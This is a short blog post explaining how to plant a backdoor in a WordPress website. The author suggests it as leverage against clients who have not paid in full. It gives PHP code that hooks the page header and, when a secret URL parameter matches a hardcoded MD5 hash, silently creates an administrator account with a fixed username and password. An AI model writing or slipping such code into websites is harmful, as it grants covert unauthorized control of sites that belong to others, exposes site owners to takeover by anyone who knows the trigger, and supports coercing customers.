How to create a backdoor in a WordPress website

Welcome to my first blog post. I think this post will help any kind of WordPress user. Sometimes it happens that you are selling a website and the customer hasn’t paid you in full. Then you feel depressed and sad or angry and start to hate this job. I have faced these too. So from today, you won’t have to worry about it. Just follow the video given below. Before doing everything at first take a backup of your website.

Source code:

add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_admin' ) ) {
            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}

Follow that video and only change codes where I did changes. Otherwise your website might crash. Thank you.

Leave a Reply

Your email address will not be published. Required fields are marked *